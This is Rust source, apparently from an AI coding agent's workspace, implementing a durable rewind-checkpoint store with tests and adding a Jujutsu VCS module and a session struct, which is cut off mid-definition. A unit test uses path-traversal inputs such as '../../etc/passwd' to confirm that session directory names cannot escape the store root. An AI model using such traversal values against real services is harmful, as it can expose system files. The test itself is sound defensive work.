const STORE_SUBDIR: &str = "rewind-checkpoints";
/// Default cap on retained checkpoints per session. Bounds on-disk and in-memory
/// size; the oldest (lowest `prompt_index`) are evicted beyond this.
const DEFAULT_CHECKPOINT_CAP: usize = 64;
/// Monotonic counter making each checkpoint temp-file name unique within the
/// process, so concurrent writers for the same `prompt_index` never collide.
static TMP_WRITE_SEQ: std::sync::atomic::AtomicU64 = std::sync::atomic::AtomicU64::new(0);
/// Disk-backed, co-located checkpoint store fronted by an in-memory cache.
///
/// See the [module docs](self) for the on-disk layout and durability rationale.
pub(crate) struct CheckpointStore {
/// Per-session store directory: `<cwd>/.kigi/rewind-checkpoints/<session_id>`.
dir: PathBuf,
/// Max retained checkpoints; the oldest are evicted beyond this.
cap: usize,
/// In-memory cache fronting disk (the hot read path). A `BTreeMap` keeps keys
/// ordered, so the oldest prompt (smallest key) is cheap to find for eviction.
cache: Mutex<BTreeMap<usize, RewindCheckpoint>>,
/// Serializes `persist` against `truncate_from` so a finalize and a rewind
/// can't interleave their disk + cache mutations and drift out of sync.
io_lock: Mutex<()>,
}
impl CheckpointStore {
/// Build a store for `session_id` rooted at the session `cwd`.
///
/// With the durable flag **off** this does no disk I/O. With it **on** it
/// rehydrates the cache from any blobs the rootfs snapshot carried (see
/// [`with_cap`](Self::with_cap)).
pub(crate) fn new(cwd: &Path, session_id: &str) -> Self {
Self::with_cap(cwd, session_id, DEFAULT_CHECKPOINT_CAP)
}
/// Like [`new`](Self::new) but with an explicit retention cap (clamped to ≥1).
/// With the durable flag on, rehydrates the cache from the blobs the rootfs
/// snapshot carried and enforces the cap against them; flag off ⇒ empty, no I/O.
pub(crate) fn with_cap(cwd: &Path, session_id: &str, cap: usize) -> Self {
// `session_id` is RPC-controlled: never join it verbatim (a `../../etc`
// would escape the store root). Map it to a safe, collision-free name first.
let dir = cwd
.join(".kigi")
.join(STORE_SUBDIR)
.join(session_store_dir_name(session_id));
let cap = cap.max(1);
let cache = if super::checkpoint::rewind_durable_enabled() {
rehydrate_off_runtime(&dir, cap)
} else {
BTreeMap::new()
};
Self {
dir,
cap,
cache: Mutex::new(cache),
io_lock: Mutex::new(()),
}
}
/// On-disk path for a single checkpoint.
fn checkpoint_path(&self, prompt_index: usize) -> PathBuf {
checkpoint_file_path(&self.dir, prompt_index)
}
/// Write `checkpoint` through to disk and the cache (last-write-wins per
/// `prompt_index`), then evict the oldest beyond the cap. Takes the checkpoint
/// by value to avoid cloning its (potentially large) contents on the hot path.
pub(crate) async fn persist(&self, checkpoint: RewindCheckpoint) {
// Serialize against `truncate_from` so a finalize and a rewind can't
// interleave and leave the cache and disk inconsistent.
let _io = self.io_lock.lock().await;
let prompt_index = checkpoint.prompt_index;
// Skip a checkpoint below the retention window: it would be evicted the
// instant it's inserted (write-then-delete). Overwrites of an existing
// index, or any index while under the cap, are always retained.
{
let cache = self.cache.lock().await;
let below_window = cache.len() >= self.cap
&& !cache.contains_key(&prompt_index)
&& cache
.keys()
.next()
.is_some_and(|&oldest| prompt_index < oldest);
if below_window {
return;
}
}
if let Err(e) = self.ensure_store_dir().await {
tracing::warn!(
error = %e,
dir = %self.dir.display(),
"rewind checkpoint store: mkdir failed; skipping persist"
);
return;
}
if let Err(e) = self.write_checkpoint_file(&checkpoint).await {
tracing::warn!(
error = %e,
prompt_index,
"rewind checkpoint store: write failed; skipping persist"
);
return;
}
// Pick cap victims under the cache lock, then release it before the file
// deletions (never hold the mutex across I/O). The just-inserted index is
// guaranteed to survive eviction by the retention-window check above.
let evicted = {
let mut cache = self.cache.lock().await;
cache.insert(prompt_index, checkpoint);
let mut evicted = Vec::new();
while cache.len() > self.cap {
// `pop_first` removes the smallest key — the oldest prompt.
let Some((oldest, _)) = cache.pop_first() else {
break;
};
evicted.push(oldest);
}
evicted
};
for idx in evicted {
let _ = tokio::fs::remove_file(self.checkpoint_path(idx)).await;
}
}
/// Drop persisted checkpoints `>= target` from cache and disk. Scans the
/// directory (not just the cache) so it stays correct when the cache is cold
/// (e.g. after a sandbox restore). Missing store dir is a no-op.
pub(crate) async fn truncate_from(&self, target: usize) {
// Serialize against `persist` (see [`persist`](Self::persist)) so a rewind
// and a concurrent finalize can't interleave their cache + disk mutations.
let _io = self.io_lock.lock().await;
// Open the disk scan *before* pruning the cache so the two can't diverge:
// if the dir can't be opened while it still holds `>= target` blobs, a pruned
// cache would let a later rehydrate resurrect the just-rewound checkpoints.
let mut entries = match tokio::fs::read_dir(&self.dir).await {
Ok(entries) => entries,
// Dir absent ⇒ no on-disk blobs to diverge from; safe to prune the cache.
Err(e) if e.kind() == std::io::ErrorKind::NotFound => {
self.cache.lock().await.retain(|&idx, _| idx < target);
return;
}
// Unscannable dir may still hold `>= target` blobs: keep the cache so it
// stays consistent with disk (the rewound checkpoints aren't resurrected).
Err(e) => {
tracing::warn!(
error = %e,
dir = %self.dir.display(),
"rewind checkpoint store: truncate scan failed; keeping cache to stay consistent with disk"
);
return;
}
};
// Scan opened: prune the cache, then delete the `>= target` blobs below.
self.cache.lock().await.retain(|&idx, _| idx < target);
// Explicit loop (not `while let Ok(Some(..))`) so a transient mid-scan
// `read_dir` error continues instead of ending early: aborting would leave
// a `>= target` blob after the cache was pruned, and a later rehydrate would
// resurrect that rewound checkpoint. `remove_file` failures are logged.
loop {
match entries.next_entry().await {
Ok(Some(entry)) => {
let name = entry.file_name();
if let Some(idx) = parse_checkpoint_index(&name)
&& idx >= target
&& let Err(e) = tokio::fs::remove_file(entry.path()).await
{
tracing::warn!(
error = %e,
path = %entry.path().display(),
"rewind checkpoint store: failed to remove checkpoint on truncate; \
it may be resurrected on a later rehydrate"
);
}
}
Ok(None) => break,
Err(e) => {
tracing::warn!(
error = %e,
dir = %self.dir.display(),
"rewind checkpoint store: truncate scan read_dir error; \
continuing to scan remaining entries"
);
continue;
}
}
}
}
/// Create the store dir and its `.gitignore` (idempotent). The `.gitignore`
/// at the `rewind-checkpoints` root uses `*` so no blob is ever committed.
async fn ensure_store_dir(&self) -> std::io::Result<()> {
tokio::fs::create_dir_all(&self.dir).await?;
if let Some(root) = self.dir.parent() {
let gitignore = root.join(".gitignore");
// `Path::exists` is a blocking `stat` on the async runtime thread; use
// the async probe to stay consistent with the surrounding tokio::fs I/O.
if !tokio::fs::try_exists(&gitignore).await.unwrap_or(false) {
tokio::fs::write(&gitignore, "*\n").await?;
}
}
Ok(())
}
/// Serialize `checkpoint` via temp-file + rename, so a crash mid-write can't
/// leave a torn JSON blob at the final path. The temp path carries a per-write
/// unique suffix (pid + counter), not just `prompt_index`: two overlapping
/// persists of the same prompt would otherwise share one temp file and tear.
async fn write_checkpoint_file(&self, checkpoint: &RewindCheckpoint) -> std::io::Result<()> {
let json = serde_json::to_vec(checkpoint).map_err(std::io::Error::other)?;
let final_path = self.checkpoint_path(checkpoint.prompt_index);
let unique = TMP_WRITE_SEQ.fetch_add(1, std::sync::atomic::Ordering::Relaxed);
let tmp_path = self.dir.join(format!(
"checkpoint-{}.json.tmp.{}.{}",
checkpoint.prompt_index,
std::process::id(),
unique,
));
// Flush the blob to disk *before* the rename: atomic rename gives visibility,
// not data persistence, so without this fsync the durability mechanism (a
// rootfs snapshot carrying these files) could capture a zero-length/short
// blob. `sync_all` fsyncs contents + metadata.
{
let mut f = tokio::fs::File::create(&tmp_path).await?;
f.write_all(&json).await?;
f.sync_all().await?;
}
tokio::fs::rename(&tmp_path, &final_path).await?;
// Best-effort dir fsync so the rename (the new dir entry) is itself durable;
// async open keeps this off the blocking path. Ignored where unsupported.
if let Ok(dir) = tokio::fs::File::open(&self.dir).await {
let _ = dir.sync_all().await;
}
Ok(())
}
}
/// On-disk path for a single checkpoint under `dir`.
fn checkpoint_file_path(dir: &Path, prompt_index: usize) -> PathBuf {
dir.join(format!("checkpoint-{prompt_index}.json"))
}
/// Derive the on-disk store directory name for a caller-controlled `session_id`.
/// Must be (1) a single traversal-safe component (`../../etc` must not escape the
/// root) and (2) collision-free across distinct raw ids. A readable sanitized
/// prefix (`[^A-Za-z0-9_-]` → `_`, length-bounded) plus a short hash of the *raw*
/// id; deterministic so a restored session reads back the same directory.
fn session_store_dir_name(session_id: &str) -> String {
const PREFIX_MAX: usize = 48;
let prefix: String = session_id
.chars()
.map(|c| {
if c.is_ascii_alphanumeric() || c == '-' || c == '_' {
c
} else {
'_'
}
})
.take(PREFIX_MAX)
.collect();
// The hash makes the name collision-resistant; appended unconditionally so
// the result always contains `-<hex>` and can never be empty, `.`, or `..`.
format!("{prefix}-{:016x}", fnv1a_64(session_id.as_bytes()))
}
/// FNV-1a 64-bit hash. Small and fully specified, so the digest is stable across
/// platforms and toolchains — required since the store dir name depends on it.
fn fnv1a_64(bytes: &[u8]) -> u64 {
const OFFSET_BASIS: u64 = 0xcbf2_9ce4_8422_2325;
const PRIME: u64 = 0x0000_0100_0000_01b3;
let mut hash = OFFSET_BASIS;
for &b in bytes {
hash ^= b as u64;
hash = hash.wrapping_mul(PRIME);
}
hash
}
/// Run the blocking disk rehydrate without starving the async runtime.
/// [`load_capped_from_disk`] uses blocking `std::fs` but the constructor is sync
/// and reached from async paths: on a multi-thread runtime hand it to
/// `block_in_place`; otherwise (current-thread, where that panics) run inline.
fn rehydrate_off_runtime(dir: &Path, cap: usize) -> BTreeMap<usize, RewindCheckpoint> {
use tokio::runtime::{Handle, RuntimeFlavor};
match Handle::try_current() {
Ok(handle) if handle.runtime_flavor() == RuntimeFlavor::MultiThread => {
tokio::task::block_in_place(|| load_capped_from_disk(dir, cap))
}
_ => load_capped_from_disk(dir, cap),
}
}
/// Load persisted checkpoints from `dir`, trimmed to the newest `cap` (older
/// blobs are deleted, bounding on-disk size). Blocking `std::fs`, run once at
/// construction. Missing dir ⇒ empty; unreadable/corrupt blobs are skipped.
fn load_capped_from_disk(dir: &Path, cap: usize) -> BTreeMap<usize, RewindCheckpoint> {
let mut loaded = BTreeMap::new();
let entries = match std::fs::read_dir(dir) {
Ok(entries) => entries,
Err(e) if e.kind() == std::io::ErrorKind::NotFound => return loaded,
Err(e) => {
tracing::warn!(
error = %e,
dir = %dir.display(),
"rewind checkpoint store: rehydrate scan failed"
);
return loaded;
}
};
for entry in entries {
// Don't `flatten()` away per-entry errors: a dropped entry would omit a blob
// from the cache while leaving it on disk, diverging the two. Log and skip.
let entry = match entry {
Ok(entry) => entry,
Err(e) => {
tracing::warn!(
error = %e,
dir = %dir.display(),
"rewind checkpoint store: skipping unreadable dir entry on rehydrate"
);
continue;
}
};
let file_name = entry.file_name();
let Some(idx) = parse_checkpoint_index(&file_name) else {
// Sweep orphaned temp files from a crashed `write_checkpoint_file`:
// rehydrate runs once at construction before this instance writes, so
// removing them is safe and bounds clutter. Best-effort.
if is_orphan_checkpoint_tmp(&file_name) {
let _ = std::fs::remove_file(entry.path());
}
continue;
};
match std::fs::read(entry.path()) {
Ok(bytes) => match serde_json::from_slice::<RewindCheckpoint>(&bytes) {
Ok(checkpoint) => {
loaded.insert(idx, checkpoint);
}
Err(e) => tracing::warn!(
error = %e,
path = %entry.path().display(),
"rewind checkpoint store: skipping unparseable blob on rehydrate"
),
},
Err(e) => tracing::warn!(
error = %e,
path = %entry.path().display(),
"rewind checkpoint store: skipping unreadable blob on rehydrate"
),
}
}
while loaded.len() > cap {
let Some((oldest, _)) = loaded.pop_first() else {
break;
};
let _ = std::fs::remove_file(checkpoint_file_path(dir, oldest));
}
loaded
}
/// Parse `checkpoint-<n>.json` → `n`. `None` for anything else (including the
/// in-flight `checkpoint-<n>.json.tmp` written by `write_checkpoint_file`).
fn parse_checkpoint_index(file_name: &std::ffi::OsStr) -> Option<usize> {
file_name
.to_str()?
.strip_prefix("checkpoint-")?
.strip_suffix(".json")?
.parse()
.ok()
}
/// Whether `file_name` is an orphaned checkpoint temp file
/// (`checkpoint-<idx>.json.tmp[...]`) left by a crashed `write_checkpoint_file`,
/// swept on rehydrate (`parse_checkpoint_index` deliberately skips them).
fn is_orphan_checkpoint_tmp(file_name: &std::ffi::OsStr) -> bool {
file_name
.to_str()
.is_some_and(|n| n.starts_with("checkpoint-") && n.contains(".json.tmp"))
}
#[cfg(test)]
impl CheckpointStore {
/// The per-session store directory.
pub(crate) fn dir(&self) -> &Path {
&self.dir
}
/// Read a checkpoint, preferring the cache and falling back to a disk read
/// (warming the cache). Test-only: the prod consumer that re-seeds live
/// trackers from these blobs after a sandbox restore is not yet wired.
pub(crate) async fn get(&self, prompt_index: usize) -> Option<RewindCheckpoint> {
if let Some(cp) = self.cache.lock().await.get(&prompt_index).cloned() {
return Some(cp);
}
let bytes = tokio::fs::read(self.checkpoint_path(prompt_index))
.await
.ok()?;
let checkpoint: RewindCheckpoint = serde_json::from_slice(&bytes).ok()?;
self.cache
.lock()
.await
.insert(prompt_index, checkpoint.clone());
Some(checkpoint)
}
/// Number of checkpoints currently held in the in-memory cache.
async fn cached_len(&self) -> usize {
self.cache.lock().await.len()
}
}
#[cfg(test)]
mod tests {
use super::*;
use crate::session::file_state::{FileSnapshot, RewindPoint};
use kigi_paths::RelPathBuf;
/// A minimal FS-only checkpoint (no hunk delta) for store-mechanics tests.
/// Distinct content per prompt so a disk round-trip is meaningfully checked.
fn fs_only_checkpoint(prompt_index: usize) -> RewindCheckpoint {
let mut fs = RewindPoint::new(prompt_index);
fs.add_snapshot(FileSnapshot::new(
RelPathBuf::new("a.rs").unwrap(),
Some(format!("content for prompt {prompt_index}")),
));
RewindCheckpoint {
prompt_index,
fs,
hunks: None,
}
}
#[tokio::test]
async fn persist_writes_under_cwd_and_gitignores_blobs() {
let tmp = tempfile::tempdir().unwrap();
let store = CheckpointStore::new(tmp.path(), "sess-1");
// The store is co-located inside the working tree (the snapshotted rootfs).
assert!(
store.dir().starts_with(tmp.path()),
"store dir must live inside the session working tree, got {}",
store.dir().display()
);
store.persist(fs_only_checkpoint(0)).await;
// The checkpoint blob is on disk...
assert!(store.checkpoint_path(0).exists(), "checkpoint blob written");
// ...and a `.gitignore` ignores the whole store so blobs are never committed.
let gitignore = tmp
.path()
.join(".kigi")
.join(STORE_SUBDIR)
.join(".gitignore");
let body = std::fs::read_to_string(&gitignore).expect("gitignore written");
assert_eq!(body.trim(), "*", "store .gitignore must ignore all blobs");
}
#[tokio::test]
async fn cap_eviction_drops_oldest_checkpoint_and_file() {
let tmp = tempfile::tempdir().unwrap();
let store = CheckpointStore::with_cap(tmp.path(), "sess-1", 2);
for idx in 0..3 {
store.persist(fs_only_checkpoint(idx)).await;
}
// The oldest (0) is evicted from both cache and disk; the last `cap` stay.
assert!(
!store.checkpoint_path(0).exists(),
"evicted checkpoint's file must be removed"
);
assert!(store.checkpoint_path(1).exists());
assert!(store.checkpoint_path(2).exists());
assert!(store.get(0).await.is_none(), "evicted checkpoint is gone");
assert!(store.get(2).await.is_some());
assert_eq!(store.cached_len().await, 2, "cache is bounded to the cap");
}
#[tokio::test]
async fn persist_below_retention_window_is_skipped_not_self_deleted() {
let tmp = tempfile::tempdir().unwrap();
let store = CheckpointStore::with_cap(tmp.path(), "sess-1", 2);
store.persist(fs_only_checkpoint(5)).await;
store.persist(fs_only_checkpoint(10)).await;
// An index below the retained window would be evicted the moment it's
// inserted, so it must be skipped entirely — not written-then-deleted.
store.persist(fs_only_checkpoint(3)).await;
assert!(
!store.checkpoint_path(3).exists(),
"below-window write must be skipped, not left dangling or self-deleted"
);
assert!(
store.checkpoint_path(5).exists(),
"existing in-window checkpoint must survive"
);
assert!(store.checkpoint_path(10).exists());
assert!(store.get(3).await.is_none());
assert!(store.get(5).await.is_some());
assert_eq!(store.cached_len().await, 2);
// A newer index correctly evicts the oldest and survives itself.
store.persist(fs_only_checkpoint(11)).await;
assert!(
store.checkpoint_path(11).exists(),
"the newest write must survive eviction"
);
assert!(
!store.checkpoint_path(5).exists(),
"the oldest in-window entry is evicted by the newer write"
);
assert!(store.checkpoint_path(10).exists());
}
#[tokio::test]
async fn get_rehydrates_from_disk_when_cache_is_cold() {
let tmp = tempfile::tempdir().unwrap();
{
let store = CheckpointStore::new(tmp.path(), "sess-1");
store.persist(fs_only_checkpoint(7)).await;
}
// A fresh store models a sandbox restore: cold cache, blobs on disk.
let restored = CheckpointStore::new(tmp.path(), "sess-1");
assert_eq!(restored.cached_len().await, 0, "fresh store starts cold");
let cp = restored
.get(7)
.await
.expect("checkpoint survives store re-creation (carried by rootfs snapshot)");
assert_eq!(cp.prompt_index, 7);
assert_eq!(
cp.fs.file_snapshots.len(),
1,
"fs snapshot content survives the disk round-trip"
);
// The disk read warms the cache for subsequent hot reads.
assert_eq!(restored.cached_len().await, 1);
}
#[tokio::test]
async fn truncate_from_drops_target_and_later_checkpoints() {
let tmp = tempfile::tempdir().unwrap();
let store = CheckpointStore::new(tmp.path(), "sess-1");
for idx in 0..4 {
store.persist(fs_only_checkpoint(idx)).await;
}
store.truncate_from(2).await;
assert!(store.checkpoint_path(0).exists());
assert!(store.checkpoint_path(1).exists());
assert!(
!store.checkpoint_path(2).exists(),
"target checkpoint file removed"
);
assert!(
!store.checkpoint_path(3).exists(),
"later checkpoint file removed"
);
assert!(store.get(3).await.is_none());
assert!(store.get(1).await.is_some());
}
#[tokio::test]
async fn truncate_on_missing_store_dir_is_noop() {
let tmp = tempfile::tempdir().unwrap();
let store = CheckpointStore::new(tmp.path(), "sess-1");
// Nothing persisted yet (dir absent) — truncate must not error or create it.
store.truncate_from(0).await;
assert!(!store.dir().exists());
}
/// Rehydrate (post-restore): blobs the rootfs snapshot carried load back into
/// the cache, and the cap is enforced against the on-disk set (oldest deleted).
#[tokio::test]
async fn rehydrate_loads_capped_set_from_disk() {
let tmp = tempfile::tempdir().unwrap();
// Write 4 blobs to disk (uncapped) to model a snapshot carrying history.
let writer = CheckpointStore::with_cap(tmp.path(), "sess-1", 100);
for idx in 0..4 {
writer.persist(fs_only_checkpoint(idx)).await;
}
// Rehydrate with cap 2: only the newest 2 load, older blobs are deleted.
let loaded = load_capped_from_disk(&writer.dir, 2);
assert_eq!(loaded.len(), 2, "rehydrate keeps only the newest `cap`");
assert!(loaded.contains_key(&2));
assert!(loaded.contains_key(&3));
assert!(
!checkpoint_file_path(&writer.dir, 0).exists(),
"cap is enforced against on-disk blobs, not just the cache"
);
assert!(!checkpoint_file_path(&writer.dir, 1).exists());
assert!(checkpoint_file_path(&writer.dir, 2).exists());
assert!(checkpoint_file_path(&writer.dir, 3).exists());
}
#[tokio::test]
async fn rehydrate_sweeps_orphan_tmp_files() {
let tmp = tempfile::tempdir().unwrap();
let writer = CheckpointStore::with_cap(tmp.path(), "sess-1", 100);
writer.persist(fs_only_checkpoint(0)).await;
// Simulate a crash / failed rename leaving an orphan temp file behind.
let orphan = writer.dir.join("checkpoint-9.json.tmp.4242.0");
std::fs::write(&orphan, b"partial").unwrap();
assert!(orphan.exists());
// Rehydrate sweeps the orphan and still loads the real checkpoint.
let loaded = load_capped_from_disk(&writer.dir, 100);
assert!(loaded.contains_key(&0), "real checkpoint still rehydrates");
assert!(
!orphan.exists(),
"orphaned *.json.tmp* file must be swept on rehydrate"
);
// The committed checkpoint blob is untouched by the sweep.
assert!(checkpoint_file_path(&writer.dir, 0).exists());
}
#[test]
fn is_orphan_checkpoint_tmp_matches_only_temp_files() {
use std::ffi::OsStr;
assert!(is_orphan_checkpoint_tmp(OsStr::new(
"checkpoint-3.json.tmp.123.0"
)));
assert!(is_orphan_checkpoint_tmp(OsStr::new(
"checkpoint-3.json.tmp"
)));
assert!(!is_orphan_checkpoint_tmp(OsStr::new("checkpoint-3.json")));
assert!(!is_orphan_checkpoint_tmp(OsStr::new(".gitignore")));
assert!(!is_orphan_checkpoint_tmp(OsStr::new("other.json.tmp.1.2")));
}
#[test]
fn session_store_dir_name_is_safe_and_collision_free() {
let root = Path::new("/store/root");
for raw in [
"../../etc/passwd",
"a/b",
"..",
".",
"",
"a\\b",
"/abs",
"./../x",
] {
let s = session_store_dir_name(raw);
assert!(!s.is_empty(), "never empty for {raw:?}");
assert!(
!s.contains('/') && !s.contains('\\'),
"no separators for {raw:?}: {s:?}"
);
assert!(s != "." && s != "..", "not a traversal component: {s:?}");
// Joining must stay within the store root and add exactly one path
// component (no `..` escape).
let joined = root.join(&s);
assert!(joined.starts_with(root), "stays in root: {joined:?}");
assert_eq!(
joined.components().count(),
root.components().count() + 1,
"exactly one extra component for {raw:?}: {joined:?}"
);
}
// Distinct raw ids sharing a sanitized prefix must still map to distinct
// directories (hash suffix differs), so sessions can't clobber each other.
assert_ne!(
session_store_dir_name("foo/bar"),
session_store_dir_name("foo_bar"),
"distinct raw ids must not share a store directory"
);
assert_ne!(session_store_dir_name("a/b"), session_store_dir_name("a-b"));
// Deterministic: the same raw id always maps to the same directory, so a
// restored session rehydrates from the right place.
assert_eq!(
session_store_dir_name("session-123"),
session_store_dir_name("session-123")
);
// The readable prefix is preserved for typical ids.
assert!(session_store_dir_name("main").starts_with("main-"));
assert!(session_store_dir_name("a1b2-c3d4_e5").starts_with("a1b2-c3d4_e5-"));
}
}
File diff suppressed because it is too large. Load diff
File diff suppressed because it is too large. Load diff
@@ -0,0 +1,226 @@
//! Jujutsu (jj) operations for colocated repos.
//!
//! Mirrors the git operations in [`super::git`] but uses the `jj` CLI.
//! All read-only calls use `--ignore-working-copy`; mutating calls use
//! [`super::git::jj_cli_mut`].
use std::collections::BTreeSet;
use std::path::Path;
use anyhow::Result;
use super::git::{
ChangeType, CommitData, CommitResult, GitBranchEntry, GitBranchListData, GitFileChange,
GitInfoData, GitStatusData, VcsKind, git_cli, jj_cli, jj_cli_mut,
};
/// Query bookmarks attached to a revision (returns `None` if empty).
async fn bookmarks_at(cwd: &Path, revset: &str) -> Option<String> {
jj_cli(
cwd,
&[
"log",
"--no-graph",
"-r",
revset,
"-T",
r#"bookmarks.join(", ")"#,
],
)
.await
.ok()
.filter(|s| !s.is_empty())
}
/// Repo info (reuses `GitInfoData` for ACP compatibility).
pub async fn info(cwd: &Path) -> Result<GitInfoData> {
let root = jj_cli(cwd, &["workspace", "root"]).await?;
let current_branch = bookmarks_at(cwd, "@-").await;
// Remote URLs via colocated git
let remotes = git_cli(cwd, &["remote", "-v"])
.await
.unwrap_or_default()
.lines()
.filter_map(|line| {
let parts: Vec<&str> = line.split_whitespace().collect();
(parts.len() >= 2 && line.contains("(fetch)")).then(|| parts[1].to_string())
})
.collect::<BTreeSet<_>>()
.into_iter()
.collect();
Ok(GitInfoData {
root,
remotes,
current_branch,
default_branch: None,
vcs_kind: Some(VcsKind::JujutsuColocated),
})
}
/// Status mapped to `GitStatusData` (all changes in `unstaged` — jj has no index).
pub async fn status(cwd: &Path) -> Result<GitStatusData> {
let root = jj_cli(cwd, &["workspace", "root"]).await.ok();
let commit = jj_cli(
cwd,
&[
"log",
"--no-graph",
"-r",
"@",
"-T",
"commit_id.shortest(12)",
],
)
.await
.ok();
let branch = bookmarks_at(cwd, "@-").await;
let diff_output = jj_cli(cwd, &["diff", "--summary"])
.await
.unwrap_or_default();
let unstaged: Vec<GitFileChange> = diff_output
.lines()
.filter_map(|line| {
let line = line.trim();
let (change_type, path) = if let Some(rest) = line.strip_prefix("M ") {
(ChangeType::Edit, rest.trim())
} else if let Some(rest) = line.strip_prefix("A ") {
(ChangeType::Create, rest.trim())
} else if let Some(rest) = line.strip_prefix("D ") {
(ChangeType::Delete, rest.trim())
} else {
let rest = line.strip_prefix("R ")?;
(ChangeType::Rename, rest.trim())
};
Some(GitFileChange {
path: path.to_string(),
old_path: None,
change_type,
staged: Some(false),
additions: 0,
deletions: 0,
patch: None,
patch_bytes: None,
patch_lines: None,
old_text: None,
new_text: None,
})
})
.collect();
Ok(GitStatusData {
root,
main_root: None,
is_worktree: None,
branch,
commit,
upstream: None,
remote_url: None,
ahead: None,
behind: None,
staged: Vec::new(),
unstaged,
})
}
/// Current commit id: the working-copy commit (`@`), matching the `commit`
/// field reported by [`status`].
///
/// In a colocated repo, git HEAD points at `@-` (the parent of the working-copy
/// commit), so reading git HEAD would return a different revision than jj's
/// current commit. Returns `Ok(None)` if the id can't be determined, mirroring
/// the lenient behavior of `git::get_current_commit`.
pub async fn current_commit(cwd: &Path) -> Result<Option<String>> {
let commit = jj_cli(cwd, &["log", "--no-graph", "-r", "@", "-T", "commit_id"])
.await
.ok()
.filter(|s| !s.is_empty());
Ok(commit)
}
/// Commit: describe the current change and start a new one.
pub async fn commit(cwd: &Path, message: &str) -> Result<CommitResult> {
jj_cli_mut(cwd, &["describe", "-m", message]).await?;
let commit_hash = jj_cli(
cwd,
&[
"log",
"--no-graph",
"-r",
"@",
"-T",
"commit_id.shortest(12)",
],
)
.await
.ok();
jj_cli_mut(cwd, &["new"]).await?;
Ok(CommitResult {
data: CommitData {
commit_hash,
output: Some("Commit described and new change started".to_string()),
},
warning: None,
})
}
/// Discard: restore working copy from parent.
pub async fn discard(cwd: &Path, paths: Option<Vec<String>>) -> Result<()> {
match paths {
Some(paths) if !paths.is_empty() => {
let mut args: Vec<&str> = vec!["restore"];
let refs: Vec<&str> = paths.iter().map(|s| s.as_str()).collect();
args.extend(refs);
jj_cli_mut(cwd, &args).await?;
}
_ => {
jj_cli_mut(cwd, &["restore"]).await?;
}
}
Ok(())
}
/// Bookmark list, mapped to `GitBranchListData` for ACP compatibility.
pub async fn list_bookmarks(cwd: &Path) -> Result<GitBranchListData> {
let root = jj_cli(cwd, &["workspace", "root"]).await?;
let bookmark_output = jj_cli(
cwd,
&[
"bookmark",
"list",
"--all",
"-T",
r#"name ++ if(remote, "@" ++ remote, "") ++ "\n""#,
],
)
.await
.unwrap_or_default();
let current_bookmark = bookmarks_at(cwd, "@-").await;
let branches: Vec<GitBranchEntry> = bookmark_output
.lines()
.filter(|l| !l.is_empty())
.map(|name| {
let name = name.to_string();
let is_remote = name.contains('@');
let is_current = !is_remote && current_bookmark.as_deref().is_some_and(|cb| cb == name);
GitBranchEntry {
name,
current: is_current,
remote: is_remote,
}
})
.collect();
Ok(GitBranchListData {
current_branch: current_bookmark,
repo_root: root,
branches,
})
}
@@ -0,0 +1,971 @@
pub(crate) mod checkpoint;
pub(crate) mod checkpoint_store;
pub mod file_state;
pub mod git;
pub mod jj;
pub(crate) mod swap_policy;
pub mod tool_config;
use crate::capability::CapabilityMode;
use crate::config::{MemoryConfig, SessionContextFactory};
use crate::file_system::{AsyncFsWrapper, LocalFs};
use crate::hub::{HubConfig, HubHandle};
use crate::session::file_state::FileStateTracker;
use kigi_computer_hub_mcp_adapter::McpBridgeHandle;
use kigi_hunk_tracker::HunkTrackerHandle;
use kigi_mcp::servers::McpState;
use kigi_tool_protocol::ToolId;
use kigi_tool_runtime::WorkspaceViewerContext;
use kigi_tools::notification::types::{ToolNotification, ToolNotificationHandle};
use kigi_tools::registry::types::{FinalizedToolset, ToolConfig, ToolServerConfig};
use parking_lot::RwLock;
use std::collections::HashMap;
use std::path::{Path, PathBuf};
use std::sync::Arc;
/// Minimal result types for git error reporting (duplicated from shell session/result).
pub mod result {
use serde::Serialize;
#[derive(Debug, Serialize)]
pub struct ExtMethodError {
pub code: i32,
pub message: String,
pub data: Option<serde_json::Value>,
}
impl ExtMethodError {
pub fn with_data(code: i32, msg: String, data: impl Serialize) -> Self {
Self {
code,
message: msg,
data: serde_json::to_value(data).ok(),
}
}
}
#[derive(Debug)]
pub struct ExtMethodResult<T> {
pub result: Option<T>,
pub error: Option<serde_json::Value>,
}
}
/// Per-session state held in [`WorkspaceShared::sessions`].
///
/// The `effective_tool_config` baseline and the resolved `toolset` are
/// kept under a single `RwLock` so a hot reload swaps both atomically.
pub struct WorkspaceSession {
pub(crate) session_id: String,
pub(crate) cwd: PathBuf,
pub(crate) session_env: Arc<HashMap<String, String>>,
pub(crate) capability_mode: CapabilityMode,
pub(crate) depth: u32,
pub(crate) fork_budget: u32,
pub(crate) hunk_tracker: HunkTrackerHandle,
pub(crate) file_state_tracker: Arc<FileStateTracker>,
/// Per-turn hunk deltas keyed by `prompt_index`, captured at finalize and
/// replayed on rewind (only when `workspace_rewind_hunks` is on). The live
/// restore source; the durable on-disk mirror is the [`checkpoint_store`] field.
///
/// [`checkpoint_store`]: WorkspaceSession::checkpoint_store
pub(crate) hunk_checkpoints:
Arc<tokio::sync::Mutex<HashMap<usize, kigi_hunk_tracker::HunkTurnDelta>>>,
/// Git domain of the per-prompt rewind checkpoints (HEAD + staged set).
pub(crate) git_checkpoints: crate::session::git::GitCheckpointStore,
/// Disk-backed durability mirror for finalized checkpoints, fronted by an
/// in-memory cache. Gated by `workspace_rewind_durable` (off = no disk I/O,
/// legacy path). Co-located in the working tree so the rootfs snapshot carries
/// it and a restored session rehydrates the cache. Mirror only — restore stays in-process.
pub(crate) checkpoint_store: crate::session::checkpoint_store::CheckpointStore,
pub(crate) async_fs: AsyncFsWrapper,
inner: RwLock<WorkspaceSessionInner>,
/// Per-session lock that serialises `update_tool_config` calls.
pub(crate) update_lock: tokio::sync::Mutex<()>,
/// Per-session MCP state (owned clients, etc.).
pub(crate) mcp_state: Arc<tokio::sync::Mutex<McpState>>,
/// MCP bridges kept alive for the session lifetime.
pub(crate) mcp_bridges: tokio::sync::Mutex<Vec<McpBridgeHandle>>,
/// Qualified tool IDs registered on the server for this session's MCP tools.
pub(crate) mcp_tool_ids: tokio::sync::Mutex<Vec<ToolId>>,
/// Per-user feature-flag bag resolved at session-bind time, frozen for
/// the session lifetime. `None` → tools use their safe defaults.
pub(crate) viewer_ctx: Option<WorkspaceViewerContext>,
/// Auto-approve (YOLO) state. Seeded from `session.bind` metadata,
/// refreshed by each before-turn hook.
pub(crate) yolo_mode: std::sync::atomic::AtomicBool,
/// Session-lifetime terminal backend (background-task registry +
/// persistent shell). Created once at session construction; every toolset
